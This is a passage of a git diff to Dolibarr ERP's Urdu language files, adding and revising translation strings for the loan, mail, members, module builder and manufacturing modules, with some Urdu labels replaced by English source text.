-LOAN_ACCOUNTING_ACCOUNT_CAPITAL=ڈیفالٹ کے حساب سے اکاؤنٹنگ کا سرمایہ -LOAN_ACCOUNTING_ACCOUNT_INTEREST=ڈیفالٹ کے حساب سے اکاؤنٹنگ سود -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=اکاؤنٹنگ اکاؤنٹ انشورنس بطور ڈیفالٹ +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=مالی وابستگی میں ترمیم کریں۔ diff --git a/htdocs/langs/ur_PK/mailmanspip.lang b/htdocs/langs/ur_PK/mailmanspip.lang index 966c6d94059..1ec45978717 100644 --- a/htdocs/langs/ur_PK/mailmanspip.lang +++ b/htdocs/langs/ur_PK/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=سبسکرپشن ٹیسٹ کامیابی کے ساتھ ا MailmanDeletionSuccess=ان سبسکرپشن ٹیسٹ کو کامیابی کے ساتھ انجام دیا گیا۔ SynchroMailManEnabled=میل مین اپ ڈیٹ کیا جائے گا۔ SynchroSpipEnabled=ایک سپپ اپ ڈیٹ کیا جائے گا۔ -DescADHERENT_MAILMAN_ADMINPW=میل مین ایڈمنسٹریٹر کا پاس ورڈ +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administrator password DescADHERENT_MAILMAN_URL=میل مین سبسکرپشنز کے لیے URL DescADHERENT_MAILMAN_UNSUB_URL=میل مین کی رکنیت ختم کرنے کے لیے URL DescADHERENT_MAILMAN_LISTS=نئے اراکین کی خودکار تحریر کے لیے فہرست (کوما سے الگ) diff --git a/htdocs/langs/ur_PK/mails.lang b/htdocs/langs/ur_PK/mails.lang index 978752c091a..4e41c06b20b 100644 --- a/htdocs/langs/ur_PK/mails.lang +++ b/htdocs/langs/ur_PK/mails.lang @@ -7,10 +7,10 @@ MailCard=ای میل کارڈ MailRecipients=وصول کنندگان MailRecipient=وصول کنندہ MailTitle=تفصیل -MailFrom=بھیجنے والا +MailFrom=From MailErrorsTo=کی خرابیاں MailReply=کا جواب دیں -MailTo=وصول کنندہ +MailTo=To MailToUsers=صارف (صارفین) کو MailCC=میں کاپی کریں۔ MailToCCUsers=صارفین کو کاپی کریں @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=پوزیشن کے لحاظ سے رابطے MailingModuleDescEmailsFromFile=فائل سے ای میلز MailingModuleDescEmailsFromUser=صارف کے ذریعے ای میلز کا ان پٹ MailingModuleDescDolibarrUsers=ای میلز والے صارفین -MailingModuleDescThirdPartiesByCategories=تیسرے فریق (زمرے کے لحاظ سے) +MailingModuleDescThirdPartiesByCategories=Third parties SendingFromWebInterfaceIsNotAllowed=ویب انٹرفیس سے بھیجنے کی اجازت نہیں ہے۔ EmailCollectorFilterDesc=ای میل جمع کرنے کے لیے تمام فلٹرز کا مماثل ہونا چاہیے۔ @@ -178,3 +178,5 @@ IsAnAnswer=ابتدائی ای میل کا جواب ہے۔ RecordCreatedByEmailCollector=ای میل کلکٹر %s ای میل %s سے ریکارڈ بنایا گیا DefaultBlacklistMailingStatus=نیا رابطہ بناتے وقت فیلڈ '%s' کے لیے ڈیفالٹ قدر DefaultStatusEmptyMandatory=خالی لیکن لازمی +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/ur_PK/main.lang b/htdocs/langs/ur_PK/main.lang index 857ccb2222d..6959eaf5a6a 100644 --- a/htdocs/langs/ur_PK/main.lang +++ b/htdocs/langs/ur_PK/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=rtl +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=DejaVuSans FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=اس ای میل کی قسم کے لیے کوئی ٹیمپلی AvailableVariables=دستیاب متبادل متغیرات NoTranslation=کوئی ترجمہ نہیں Translation=ترجمہ +Translations=Translations CurrentTimeZone=ٹائم زون پی ایچ پی (سرور) EmptySearchString=غیر خالی تلاش کے معیارات درج کریں۔ EnterADateCriteria=تاریخ کا معیار درج کریں۔ @@ -199,6 +206,7 @@ Valid=درست Approve=منظور کرو Disapprove=نامنظور کرنا ReOpen=دوبارہ کھولیں۔ +OpenVerb=Open Upload=اپ لوڈ کریں۔ ToLink=لنک Select=منتخب کریں۔ @@ -216,8 +224,9 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=کسی صارف گروپ کی وضاحت نہیں کی گئی۔ Password=پاس ورڈ -PasswordRetype=اپنا پاس ورڈ دوبارہ ٹائپ کریں۔ +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=نوٹ کریں کہ اس مظاہرے میں بہت ساری خصوصیات/ماڈیولز غیر فعال ہیں۔ +YourUserFile=Your user file Name=نام NameSlashCompany=نام / کمپنی Person=شخص @@ -481,6 +490,7 @@ ActionsOnContact=اس رابطہ/پتہ کے لیے واقعات ActionsOnContract=اس معاہدے کے لیے تقریبات ActionsOnMember=اس رکن کے بارے میں واقعات ActionsOnProduct=اس پروڈکٹ کے بارے میں واقعات +ActionsOnAsset=Events for this fixed asset NActionsLate=%s دیر سے ToDo=ایسا کرنے کے لئے Completed=مکمل @@ -888,6 +898,9 @@ MassFilesArea=بڑے پیمانے پر کارروائیوں کے ذریعے بن ShowTempMassFilesArea=بڑے پیمانے پر کارروائیوں سے بنی فائلوں کا علاقہ دکھائیں۔ ConfirmMassDeletion=بلک ڈیلیٹ کی تصدیق ConfirmMassDeletionQuestion=کیا آپ واقعی %s منتخب کردہ ریکارڈ (ریکارڈز) کو حذف کرنا چاہتے ہیں؟ +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=متعلقہ اشیاء ClassifyBilled=بل کی درجہ بندی کریں۔ ClassifyUnbilled=بغیر بل کی درجہ بندی کریں۔ @@ -903,8 +916,8 @@ ExportFilteredList=فلٹر شدہ فہرست برآمد کریں۔ ExportList=برآمد کی فہرست ExportOptions=برآمد کے اختیارات IncludeDocsAlreadyExported=پہلے سے برآمد شدہ دستاویزات شامل کریں۔ -ExportOfPiecesAlreadyExportedIsEnable=پہلے سے برآمد شدہ ٹکڑوں کی برآمد قابل ہے۔ -ExportOfPiecesAlreadyExportedIsDisable=پہلے سے برآمد شدہ ٹکڑوں کی برآمد غیر فعال ہے۔ +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=تمام برآمد شدہ نقل و حرکت بطور برآمد ریکارڈ کی گئیں۔ NotAllExportedMovementsCouldBeRecordedAsExported=تمام برآمد شدہ نقل و حرکت کو برآمد کے طور پر ریکارڈ نہیں کیا جا سکتا Miscellaneous=متفرق @@ -921,6 +934,7 @@ DirectDownloadInternalLink=نجی ڈاؤن لوڈ لنک PrivateDownloadLinkDesc=آپ کو لاگ ان ہونے کی ضرورت ہے اور آپ کو فائل دیکھنے یا ڈاؤن لوڈ کرنے کے لیے اجازت کی ضرورت ہے۔ Download=ڈاؤن لوڈ کریں DownloadDocument=دستاویز ڈاؤن لوڈ کریں۔ +DownloadSignedDocument=Download signed document ActualizeCurrency=کرنسی کی شرح کو اپ ڈیٹ کریں۔ Fiscalyear=مالی سال ModuleBuilder=ماڈیول اور ایپلیکیشن بلڈر @@ -1046,6 +1060,7 @@ SearchIntoContracts=معاہدے SearchIntoCustomerShipments=گاہک کی ترسیل SearchIntoExpenseReports=اخراجات کی رپورٹ SearchIntoLeaves=چھوڑو +SearchIntoKM=Knowledge base SearchIntoTickets=ٹکٹ SearchIntoCustomerPayments=گاہک کی ادائیگی SearchIntoVendorPayments=وینڈر کی ادائیگی @@ -1117,6 +1132,7 @@ DeleteFileText=کیا آپ واقعی اس فائل کو حذف کرنا چاہ ShowOtherLanguages=دوسری زبانیں دکھائیں۔ SwitchInEditModeToAddTranslation=اس زبان کے لیے ترجمے شامل کرنے کے لیے ترمیم کے موڈ میں جائیں۔ NotUsedForThisCustomer=اس گاہک کے لیے استعمال نہیں کیا گیا۔ +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=رقم مثبت ہونی چاہیے۔ ByStatus=حیثیت سے InformationMessage=معلومات @@ -1137,15 +1153,29 @@ EventReminder=واقعہ کی یاد دہانی UpdateForAllLines=تمام لائنوں کے لیے اپ ڈیٹ کریں۔ OnHold=ہولڈ پر Civility=تہذیب -AffectTag=ٹیگ کو متاثر کریں۔ +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=بیرونی صارف بنائیں -ConfirmAffectTag=بلک ٹیگ کا اثر -ConfirmAffectTagQuestion=کیا آپ واقعی %s منتخب کردہ ریکارڈ (ریکارڈز) پر ٹیگز کو متاثر کرنا چاہتے ہیں؟ +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=ریکارڈ کی قسم کے لیے کوئی ٹیگ کی قسم نہیں ملی +Rate=شرح +SupervisorNotFound=Supervisor not found CopiedToClipboard=کلپ بورڈ پر کاپی ہو گیا۔ InformationOnLinkToContract=یہ رقم صرف معاہدے کی تمام لائنوں کا کل ہے۔ وقت کا کوئی خیال نہیں رکھا جاتا۔ ConfirmCancel=کیا تمہیں یقین ہے تم اسے ملتوی کرنا چاہتے ہو EmailMsgID=MsgID کو ای میل کریں۔ +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=فعال پر سیٹ کریں۔ SetToDisabled=غیر فعال پر سیٹ کریں۔ ConfirmMassEnabling=بڑے پیمانے پر چالو کرنے کی تصدیق @@ -1174,9 +1204,21 @@ Terminated=Terminated AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Internal user +ExternalUser=External user +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/ur_PK/members.lang b/htdocs/langs/ur_PK/members.lang index 00b10b8ea83..5b628af773c 100644 --- a/htdocs/langs/ur_PK/members.lang +++ b/htdocs/langs/ur_PK/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=ایک اور رکن (نام: %s ErrorUserPermissionAllowsToLinksToItselfOnly=حفاظتی وجوہات کی بناء پر، آپ کو تمام صارفین میں ترمیم کرنے کی اجازت دی جانی چاہیے تاکہ کسی رکن کو کسی ایسے صارف سے جوڑ سکیں جو آپ کا نہیں ہے۔ SetLinkToUser=Dolibarr صارف سے لنک کریں۔ SetLinkToThirdParty=ڈولیبر تھرڈ پارٹی سے لنک کریں۔ +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=ممبران کی فہرست MembersListToValid=مسودہ کے ارکان کی فہرست (توثیق کی جائے گی) @@ -34,7 +35,8 @@ DateSubscription=رکنیت کی تاریخ DateEndSubscription=رکنیت کی آخری تاریخ EndSubscription=رکنیت کا خاتمہ SubscriptionId=تعاون کی شناخت -WithoutSubscription=شراکت کے بغیر +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=نیا رکن @@ -72,12 +74,12 @@ MemberTypeCanNotBeDeleted=ممبر کی قسم کو حذف نہیں کیا جا NewSubscription=نئی شراکت NewSubscriptionDesc=یہ فارم آپ کو فاؤنڈیشن کے نئے رکن کے طور پر اپنی رکنیت کو ریکارڈ کرنے کی اجازت دیتا ہے۔ اگر آپ اپنی سبسکرپشن کی تجدید کرنا چاہتے ہیں (اگر پہلے ہی ممبر ہیں)، تو براہ کرم اس کے بجائے فاؤنڈیشن بورڈ سے ای میل %s سے رابطہ کریں۔ Subscription=شراکت -AnyAmountWithAdvisedAmount=Any amount with a recommended amount of %s %s -AnyAmountWithoutAdvisedAmount=Any amount +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice CanEditAmountShort=Any amount CanEditAmountShortForValues=recommended, any amount MembershipDuration=Duration -GetMembershipButtonLabel=Get membership +GetMembershipButtonLabel=Join Subscriptions=شراکتیں SubscriptionLate=دیر SubscriptionNotReceived=شراکت کبھی نہیں ملی @@ -204,10 +206,12 @@ SubscriptionsStatistics=شراکت کے اعدادوشمار NbOfSubscriptions=تعاون کی تعداد AmountOfSubscriptions=عطیات سے جمع کی گئی رقم TurnoverOrBudget=ٹرن اوور (کمپنی کے لیے) یا بجٹ (فاؤنڈیشن کے لیے) -DefaultAmount=شراکت کی طے شدہ رقم -CanEditAmount=Visitor can choose/edit amount of its contribution regardless of the member type +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type AmountIsLowerToMinimumNotice=sur un dû total de %s -MEMBER_NEWFORM_PAYONLINE=مربوط آن لائن ادائیگی کے صفحے پر جائیں۔ +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=فطرت سے MembersStatisticsByProperties=اراکین کے اعداد و شمار فطرت کے لحاظ سے VATToUseForSubscriptions=شراکت کے لیے استعمال کرنے کے لیے VAT کی شرح @@ -228,3 +232,4 @@ CreateDolibarrLoginDesc=اراکین کے لیے صارف لاگ ان کی تخ CreateDolibarrThirdPartyDesc=فریق ثالث قانونی ادارہ ہے جو انوائس پر استعمال کیا جائے گا اگر آپ ہر شراکت کے لیے انوائس بنانے کا فیصلہ کرتے ہیں۔ آپ شراکت کو ریکارڈ کرنے کے عمل کے دوران بعد میں اسے تخلیق کر سکیں گے۔ MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/ur_PK/modulebuilder.lang b/htdocs/langs/ur_PK/modulebuilder.lang index e36a90e1070..95e1ac68ca2 100644 --- a/htdocs/langs/ur_PK/modulebuilder.lang +++ b/htdocs/langs/ur_PK/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=یہ ٹول صرف تجربہ کار صارفین یا ڈویلپرز کے ذریعہ استعمال کیا جانا چاہئے۔ یہ آپ کے اپنے ماڈیول کو بنانے یا اس میں ترمیم کرنے کے لیے افادیت فراہم کرتا ہے۔ متبادل مینوئل ڈویلپمنٹ کے لیے دستاویزات یہاں ہے۔ EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=وہ راستہ جہاں ماڈیولز تیار/ترمیم کیے جاتے ہیں (بیرونی ماڈیولز کے لیے پہلی ڈائریکٹری %s میں بیان کی گئی ہے): %s ModuleBuilderDesc3=تیار کردہ/ قابل تدوین ماڈیولز ملے: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=جب فائل %s ماڈیول ڈائرکٹ NewModule=نیا ماڈیول NewObjectInModulebuilder=نیا اعتراض NewDictionary=New dictionary +ModuleName=Module name ModuleKey=ماڈیول کلید ObjectKey=آبجیکٹ کلید DicKey=Dictionary key @@ -48,11 +50,14 @@ PathToModulePackage=ماڈیول/ایپلی کیشن پیکج کی زپ کا ر PathToModuleDocumentation=ماڈیول/ایپلی کیشن دستاویزات کی فائل کا راستہ (%s) SpaceOrSpecialCharAreNotAllowed=خالی جگہوں یا خصوصی حروف کی اجازت نہیں ہے۔ FileNotYetGenerated=فائل ابھی تک تیار نہیں ہوئی۔ +GenerateCode=Generate code RegenerateClassAndSql=کلاس اور .sql فائلوں کو زبردستی اپ ڈیٹ کریں۔ RegenerateMissingFiles=گمشدہ فائلیں بنائیں SpecificationFile=دستاویزات کی فائل LanguageFile=زبان کے لیے فائل ObjectProperties=آبجیکٹ پراپرٹیز +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty=کیا آپ واقعی %s پراپرٹی کو حذف کرنا چاہتے ہیں؟ یہ پی ایچ پی کلاس میں کوڈ کو تبدیل کرے گا لیکن آبجیکٹ کی ٹیبل تعریف سے کالم کو بھی ہٹا دے گا۔ NotNull=NULL نہیں۔ NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=ایک پیمانہ ہے۔ DirScanned=ڈائرکٹری اسکین کی گئی۔ NoTrigger=کوئی محرک نہیں۔ NoWidget=کوئی ویجیٹ نہیں۔ -GoToApiExplorer=API ایکسپلورر +ApiExplorer=API explorer ListOfMenusEntries=مینو اندراجات کی فہرست ListOfDictionariesEntries=لغات کے اندراجات کی فہرست ListOfPermissionsDefined=متعین اجازتوں کی فہرست SeeExamples=یہاں مثالیں دیکھیں -EnabledDesc=اس فیلڈ کو فعال رکھنے کی شرط (مثالیں: 1 یا $conf->global->MYMODULE_MYOPTION) -VisibleDesc=کیا میدان نظر آتا ہے؟ (مثالیں: 0=کبھی نظر نہیں آتا، 1=فہرست میں دکھائی دیتا ہے اور فارمز کو تخلیق/اپ ڈیٹ/دیکھتا ہے، 2=صرف فہرست میں مرئی، 3=صرف بنانے/اپ ڈیٹ کرنے/دیکھنے کے فارم پر نظر آتا ہے (فہرست نہیں)، 4=فہرست پر نظر آتا ہے اور اپ ڈیٹ/دیکھیں فارم صرف (تخلیق نہیں)، 5=صرف لسٹ اینڈ ویو فارم پر نظر آتا ہے (تخلیق نہیں، اپ ڈیٹ نہیں)۔

      یہ ایک اظہار ہو سکتا ہے، مثال کے طور پر:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      > -DisplayOnPdfDesc=اس فیلڈ کو مطابقت پذیر پی ڈی ایف دستاویزات پر ڈسپلے کریں، آپ "پوزیشن" فیلڈ کے ساتھ پوزیشن کا نظم کر سکتے ہیں۔
      فی الحال، نام سے جانا جاتا پر compatibles PDF ماڈل ہیں: eratosthene (کے حکم) espadon (جہاز)، سپنج (رسید)، لاجوردی (propal / کوٹیشن)، cornas (سپلائر حکم)

      دستاویز کے طور پر:
      0 =
      1 دکھایا = ڈسپلے
      2 = ڈسپلے صرف خالی نہیں ہے تو

      لئے دستاویز لائنز:
      0 = نہیں دکھایا
      1 = بعد تفصیل کالم میں
      4 = ڈسپلے وضاحت کے بعد
      لائن کی تفصیل کالم میں 3 = ڈسپلے ایک کالم میں دکھائے تفصیل صرف اس صورت میں جب خالی نہ ہو۔ -DisplayOnPdf=پی ڈی ایف پر ڈسپلے کریں۔ +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=کیا فہرست میں کل حاصل کرنے کے لیے فیلڈ کی قدر کو جمع کیا جا سکتا ہے؟ (مثالیں: 1 یا 0) SearchAllDesc=کیا کوئیک سرچ ٹول سے تلاش کرنے کے لیے فیلڈ کا استعمال کیا جاتا ہے؟ (مثالیں: 1 یا 0) SpecDefDesc=یہاں وہ تمام دستاویزات درج کریں جو آپ اپنے ماڈیول کے ساتھ فراہم کرنا چاہتے ہیں جو پہلے سے دوسرے ٹیبز کے ذریعہ بیان نہیں کیے گئے ہیں۔ آپ .md یا اس سے بہتر، امیر .asciidoc نحو استعمال کر سکتے ہیں۔ @@ -130,26 +136,32 @@ UseSpecificEditorURL = ایک مخصوص ایڈیٹر URL استعمال کری UseSpecificFamily = ایک مخصوص خاندان کا استعمال کریں UseSpecificAuthor = کسی مخصوص مصنف کا استعمال کریں۔ UseSpecificVersion = ایک مخصوص ابتدائی ورژن استعمال کریں۔ -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=اگر آپ اسے چیک کرتے ہیں تو ریکارڈ پر "دستاویز تیار کریں" کے باکس کو شامل کرنے کے لیے کچھ کوڈ تیار کیا جائے گا۔ -ShowOnCombobox=کومبو باکس میں قدر دکھائیں۔ +ShowOnCombobox=Show value into combo boxes KeyForTooltip=ٹول ٹپ کے لیے کلید CSSClass=فارم میں ترمیم/تخلیق کے لیے CSS CSSViewClass=پڑھنے کے فارم کے لیے CSS CSSListClass=فہرست کے لیے سی ایس ایس NotEditable=قابل تدوین نہیں۔ ForeignKey=غیر ملکی چابی -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Ascii سے HTML کنورٹر AsciiToPdfConverter=Ascii سے پی ڈی ایف کنورٹر TableNotEmptyDropCanceled=ٹیبل خالی نہیں ہے۔ ڈراپ منسوخ کر دیا گیا ہے۔ ModuleBuilderNotAllowed=ماڈیول بلڈر دستیاب ہے لیکن آپ کے صارف کو اس کی اجازت نہیں ہے۔ ImportExportProfiles=پروفائلز درآمد اور برآمد کریں۔ -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated LinkToParentMenu=Parent menu (fk_xxxxmenu) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/ur_PK/mrp.lang b/htdocs/langs/ur_PK/mrp.lang index 5da87a94d0c..c99e9588e94 100644 --- a/htdocs/langs/ur_PK/mrp.lang +++ b/htdocs/langs/ur_PK/mrp.lang @@ -11,8 +11,8 @@ Bom=مواد کے بل BillOfMaterials=سامان کا بل BillOfMaterialsLines=مواد کی لائنوں کا بل BOMsSetup=ماڈیول BOM کا سیٹ اپ -ListOfBOMs=مواد کے بلوں کی فہرست - BOM -ListOfManufacturingOrders=مینوفیکچرنگ آرڈرز کی فہرست +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Manufacturing Orders NewBOM=مواد کا نیا بل ProductBOMHelp=اس BOM کے ساتھ بنانے (یا جدا کرنے) کے لیے پروڈکٹ۔
      نوٹ: 'نیچر آف پروڈکٹ' = 'خام مال' کی خاصیت والی مصنوعات اس فہرست میں نظر نہیں آتیں۔ BOMsNumberingModules=BOM نمبری ٹیمپلیٹس @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=کیا آپ واقعی مواد کے بل کو کل ConfirmCloneMo=کیا آپ واقعی مینوفیکچرنگ آرڈر %s کو کلون کرنا چاہتے ہیں؟ ManufacturingEfficiency=مینوفیکچرنگ کی کارکردگی ConsumptionEfficiency=کھپت کی کارکردگی +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=0.95 کی قدر کا مطلب ہے پیدا شدہ مصنوعات کے نقصان کا اوسط 5%% DeleteBillOfMaterials=مواد کا بل حذف کریں۔ @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=%s کو جدا کرنے کی مقدار کے لیے ConfirmValidateMo=کیا آپ واقعی اس مینوفیکچرنگ آرڈر کی توثیق کرنا چاہتے ہیں؟ ConfirmProductionDesc='%s' پر کلک کرنے سے، آپ سیٹ کی مقدار کے لیے کھپت اور/یا پیداوار کی توثیق کریں گے۔ یہ اسٹاک کو بھی اپ ڈیٹ کرے گا اور اسٹاک کی نقل و حرکت کو ریکارڈ کرے گا۔ ProductionForRef=%s کی پیداوار +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement AutoCloseMO=مینوفیکچرنگ آرڈر کو خود بخود بند کر دیں اگر استعمال کرنے اور پیدا کرنے کی مقدار پوری ہو جائے۔ NoStockChangeOnServices=خدمات پر اسٹاک میں کوئی تبدیلی نہیں۔ ProductQtyToConsumeByMO=پروڈکٹ کی مقدار ابھی بھی اوپن ایم او کے ذریعے استعمال کرنا ہے۔ @@ -80,6 +83,7 @@ ProductsToProduce=پیدا کرنے کے لئے مصنوعات UnitCost=یونٹ لاگت TotalCost=کل لاگت BOMTotalCost=اس BOM کو تیار کرنے کی لاگت ہر ایک مقدار اور استعمال کی مصنوعات کی لاگت پر مبنی ہے (اگر وضاحت کی گئی ہو تو لاگت کی قیمت کا استعمال کریں، ورنہ اوسط وزنی قیمت اگر وضاحت کی گئی ہو، ورنہ بہترین خریداری کی قیمت) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=مینوفیکچرنگ آرڈر کو بند کرنے کے لیے آپ نے پہلے پروڈکشن شروع کی ہوگی (ٹیب 